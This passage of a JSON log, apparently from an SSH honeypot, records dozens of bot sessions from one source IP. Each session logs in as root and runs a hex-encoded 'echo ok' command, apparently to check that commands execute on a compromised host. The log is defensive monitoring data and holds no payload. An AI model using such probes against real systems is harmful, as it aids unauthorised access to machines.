  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d190288-d3e8-49d2-9df2-225de11916aa",
  "name": "lively-breezy-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:37.935753+00:00",
  "ended_at": "2026-08-23T08:07:43.639557+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84237b9d-43af-4937-bb15-bc48e1ef7113",
  "name": "blunt-chilly-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:34.465071+00:00",
  "ended_at": "2026-08-23T08:07:37.137421+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa4ef2e4-d6f8-4483-865a-60dbaf938b6a",
  "name": "graceful-deft-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:32.078999+00:00",
  "ended_at": "2026-08-23T08:07:33.779242+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5c957844-1b6b-4049-aaa7-dff6e6d352f7",
  "name": "wistful-reedy-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:30.092846+00:00",
  "ended_at": "2026-08-23T08:07:31.249205+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b618447b-67d4-4415-a33a-692dff4a7106",
  "name": "thrifty-fabled-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:27.979533+00:00",
  "ended_at": "2026-08-23T08:07:29.336146+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "313ab618-f59a-4b9f-be5f-bf17ce280d22",
  "name": "brave-granite-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:26.281711+00:00",
  "ended_at": "2026-08-23T08:07:27.206695+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "05ee2891-5945-4cdd-8549-a6d27b2b88e3",
  "name": "fabled-stoic-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:24.365501+00:00",
  "ended_at": "2026-08-23T08:07:25.595538+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a367c1c7-8cb1-4200-b574-068c527a15c1",
  "name": "mighty-vernal-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:18.503006+00:00",
  "ended_at": "2026-08-23T08:07:23.631968+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3252e10b-60d3-42b6-a67c-459baebf471c",
  "name": "fleeting-breezy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:16.850601+00:00",
  "ended_at": "2026-08-23T08:07:17.753688+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "58f501ed-12f1-4425-b879-3bb502f78564",
  "name": "downy-umber-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:14.767328+00:00",
  "ended_at": "2026-08-23T08:07:16.083525+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29ddcc1c-7a17-4314-917f-56cd6a14b403",
  "name": "plush-dutiful-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:13.021806+00:00",
  "ended_at": "2026-08-23T08:07:14.035542+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a40e1f20-c565-4813-be9c-03f6db16f873",
  "name": "blithe-nautical-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:10.162137+00:00",
  "ended_at": "2026-08-23T08:07:12.201273+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2eafa2c-c356-4143-99f5-3f5fff3cc832",
  "name": "fleeting-boreal-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:08.361874+00:00",
  "ended_at": "2026-08-23T08:07:09.315187+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0122a2d6-be8f-4c73-8f72-332b33a44cb6",
  "name": "subtle-ashen-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:06.568772+00:00",
  "ended_at": "2026-08-23T08:07:07.521322+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dacd5ef9-7dca-4dce-a7b9-8c214df44cee",
  "name": "smoky-rapid-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:03.936632+00:00",
  "ended_at": "2026-08-23T08:07:05.790486+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f2440a2b-86c3-4ab1-a37f-efbba11f3a9e",
  "name": "languid-jaunty-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:01.915967+00:00",
  "ended_at": "2026-08-23T08:07:03.222531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5537e0f0-9043-4861-b3c2-e29fcdb7b931",
  "name": "gloomy-bashful-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:59.476109+00:00",
  "ended_at": "2026-08-23T08:07:01.105160+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "766b3016-141d-45ec-aa5f-4215eb7ae140",
  "name": "primal-sturdy-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:57.411239+00:00",
  "ended_at": "2026-08-23T08:06:58.780668+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ce05dedb-4829-4127-b8e3-a7bbc31d0a11",
  "name": "orderly-painted-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:54.383465+00:00",
  "ended_at": "2026-08-23T08:06:56.605872+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2d29618-a5a5-46a1-be5e-20e9cc0342ba",
  "name": "creaky-amiable-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37368,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:52.633005+00:00",
  "ended_at": "2026-08-23T08:06:53.726083+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6bdf3b31-cb3a-4859-a4d4-ab52a91519e4",
  "name": "sincere-loyal-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:50.383278+00:00",
  "ended_at": "2026-08-23T08:06:51.850214+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e472d75-2a4f-4955-b0ab-3cb43a0f2a30",
  "name": "twilight-rugged-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:48.019951+00:00",
  "ended_at": "2026-08-23T08:06:49.671503+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e94af0c5-2de8-4838-97d6-b363581ca8de",
  "name": "vivid-solemn-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48762,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:45.890930+00:00",
  "ended_at": "2026-08-23T08:06:47.387308+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "09e305a7-e75a-43b0-a94e-68635002e6d4",
  "name": "coral-rugged-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:43.120648+00:00",
  "ended_at": "2026-08-23T08:06:45.089859+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1bbef8b4-ac38-4a73-b092-3907a834f0d0",
  "name": "shifting-brisk-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:40.677920+00:00",
  "ended_at": "2026-08-23T08:06:42.299521+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "876b0be8-f86b-4580-bbd3-c60e7a046774",
  "name": "vivid-chilly-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:38.339941+00:00",
  "ended_at": "2026-08-23T08:06:40.025786+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0903cd70-06f9-43bf-9797-8e01a83c91f6",
  "name": "austere-scarlet-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:35.432385+00:00",
  "ended_at": "2026-08-23T08:06:37.632500+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d48d84a-bcfd-4220-9dce-7c8a276a3114",
  "name": "ashen-nameless-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:33.077193+00:00",
  "ended_at": "2026-08-23T08:06:34.673301+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cbf2d335-9675-4233-92d4-5988dfc2480a",
  "name": "icy-coral-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37680,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:30.898960+00:00",
  "ended_at": "2026-08-23T08:06:32.267453+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9cfc36a3-00b9-44bf-ab47-aa5c771b3988",
  "name": "earnest-opal-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:28.421058+00:00",
  "ended_at": "2026-08-23T08:06:30.097817+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e25f0d5-a694-40fa-a5e9-fbb990930f00",
  "name": "genial-crisp-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:26.576963+00:00",
  "ended_at": "2026-08-23T08:06:27.600507+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0708228d-4e5d-4184-95ec-03694bf00c22",
  "name": "serene-quiet-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:23.644876+00:00",
  "ended_at": "2026-08-23T08:06:25.820661+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "774ce1a1-51e4-4690-80b6-b9ea4d38c9f5",
  "name": "dewy-amiable-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:21.691373+00:00",
  "ended_at": "2026-08-23T08:06:22.852784+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f6b8c37e-073d-430f-a3b5-b1250254ed42",
  "name": "faded-frosty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:18.899714+00:00",
  "ended_at": "2026-08-23T08:06:20.856263+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cc20f8d1-0700-4274-ad56-99c14c4e9cd8",
  "name": "muted-curious-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:17.353958+00:00",
  "ended_at": "2026-08-23T08:06:18.274450+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2a4a73ff-0a07-41bb-aeb7-08fc8b53ce05",
  "name": "barren-vigilant-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44294,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:14.497990+00:00",
  "ended_at": "2026-08-23T08:06:16.615300+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d133816-24b3-436e-8997-3b7b0db8be26",
  "name": "restless-prickly-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:11.770893+00:00",
  "ended_at": "2026-08-23T08:06:13.663733+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "01821181-af85-4f6d-aa86-bf307f459a4e",
  "name": "bashful-twilight-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:09.207849+00:00",
  "ended_at": "2026-08-23T08:06:11.032381+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b8d0950f-4279-4a52-aa0a-ed4ab08dec51",
  "name": "opal-marbled-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:06.354325+00:00",
  "ended_at": "2026-08-23T08:06:08.380667+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4153f6cb-2326-4822-b73f-9e1750e4e6a1",
  "name": "earnest-thorny-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42674,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:04.306496+00:00",
  "ended_at": "2026-08-23T08:06:05.704619+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "957b920f-3a7a-4a05-b458-284063d86475",
  "name": "glassy-prairie-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42666,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:02.512727+00:00",
  "ended_at": "2026-08-23T08:06:03.494837+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19723a62-084e-4730-a84a-b2449ce2c1cd",
  "name": "plush-calm-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:06:00.196698+00:00",
  "ended_at": "2026-08-23T08:06:01.837635+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2406abd5-5782-41d0-9159-4c55a33662d1",
  "name": "lanky-sterling-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:57.968744+00:00",
  "ended_at": "2026-08-23T08:05:59.482968+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "267267be-792b-4d8f-a147-395a8d803d73",
  "name": "golden-indigo-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:55.068065+00:00",
  "ended_at": "2026-08-23T08:05:57.216118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5ac238f4-d8bf-4853-836f-61dc679d3866",
  "name": "sunlit-whispering-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:52.479717+00:00",
  "ended_at": "2026-08-23T08:05:54.428536+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1b23606e-ad72-4ad9-80b9-4cc2de48a43b",
  "name": "stormy-somber-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:49.813875+00:00",
  "ended_at": "2026-08-23T08:05:51.653606+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5da651a7-5942-4a38-ae76-b5bacf16744d",
  "name": "shifting-amiable-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:47.110245+00:00",
  "ended_at": "2026-08-23T08:05:49.012516+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15dad068-0d87-4214-a859-b2a529cbfa84",
  "name": "jagged-placid-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:44.993126+00:00",
  "ended_at": "2026-08-23T08:05:46.303204+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b9549300-4ef4-412d-86a0-dbd09ee5acce",
  "name": "gleaming-dusky-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:43.419925+00:00",
  "ended_at": "2026-08-23T08:05:44.309339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
